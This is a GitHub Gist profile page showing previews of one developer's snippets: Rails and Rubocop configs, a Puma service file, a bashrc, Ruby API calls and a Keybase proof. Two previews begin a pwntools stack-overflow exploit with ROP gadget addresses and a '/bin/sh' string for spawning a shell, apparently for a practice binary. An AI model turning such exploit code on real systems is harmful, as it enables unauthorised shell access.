Skip to content

Instantly share code, notes, and snippets.

Avatar
⛑️

Rocco Galluzzo byterussian

⛑️
View GitHub Profile
View exploit.py
from pwn import *
context.arch = 'amd64'
offset = 120
system_call = p64(0x401040)
pop_r13 = p64(0x401206)
mov_rdi_rsp = p64(0x401152)
shell = '/bin/sh\x00'
empty =p64(0x00)
View exploit_local.py
from pwn import *
context.arch = 'amd64'
offset = 120
system_call = p64(0x401040)
pop_r13 = p64(0x401206)
mov_rdi_rsp = p64(0x401152)
shell = '/bin/sh\x00'
empty =p64(0x00)
View keybase.md

Keybase proof

I hereby claim:

  • I am byterussian on github.
  • I am galluzzo (https://keybase.io/galluzzo) on keybase.
  • I have a public key ASB3JaD_kgw0Y-_T6sqX_AhRhvxYPx9qw8x6rYOn2ym1JQo

To claim this, I am signing this object:

@byterussian
byterussian / .rubocop.yml
Last active Jun 23, 2017 — forked from joeyates/.rubocop.yml
Cantiere creativo Rubocop Configuration
View .rubocop.yml
require: rubocop-rspec
AllCops:
Include:
- "**/*.gemspec"
- "**/*.podspec"
- "**/*.jbuilder"
- "**/*.rake"
- "**/*.opal"
- "**/Gemfile"
View puma.service
[Unit]
Description=Puma application server
Wants=mysqld.service
After=network.target
[Service]
WorkingDirectory=/var/www/rails-app/current
Environment=RAILS_ENV=production
PIDFile=/var/www/shared/pids/puma.pid
@byterussian
byterussian / bashrc
Last active Aug 29, 2015 — forked from mislav/bashrc
Basic vimrc and tmux config for servers
View bashrc
export PS1="\[\033[38;5;9m\]\h\[$(tput sgr0)\]\[\033[38;5;7m\]@\[$(tput sgr0)\]\[\033[38;5;11m\]\u\[$(tput sgr0)\]\[\033[38;5;15m\] \[$(tput sgr0)\]\[\033[38;5;14m\]\w\[$(tput sgr0)\]\[\033[38;5;15m\]\n\\$ >\[$(tput sgr0)\]"
export EDITOR=vim
alias st='git status -sb'
View api_get.rb
# old
def get(path, opts={}, &block) # :nodoc:
request(:get, path, opts, &block)
end
def recipients(params = {})
@api.get("#{@api.path}/Message/#{@id}/List/Recipients", params: params)
end
def views(params = {})
View mailup.rb
# JSON
mailup = MailUp::API.new(credentials)
lists = mailup.console.user.lists
lists['Items'].first['Name']
# => "Test List"
list_id = lists['Items'].first['idList'].to_i
# => 1
list = mailup.console.list(list_id)
groups = list.groups(pageNumber: 1, pageSize: 25)
@byterussian
byterussian / 0_reuse_code.js
Last active Aug 29, 2015
Here are some things you can do with Gists in GistBox.
View 0_reuse_code.js
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console
View createsend.rb
body = {
grant_type: 'authorization_code',
client_id: Rails.application.secrets[provider]['client_id'],
client_secret: Rails.application.secrets[provider]['client_secret'],
redirect_uri: integration_callback_url(provider),
code: params[:code]
}.to_query
uri = URI.parse('https://api.createsend.com/oauth/token')
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true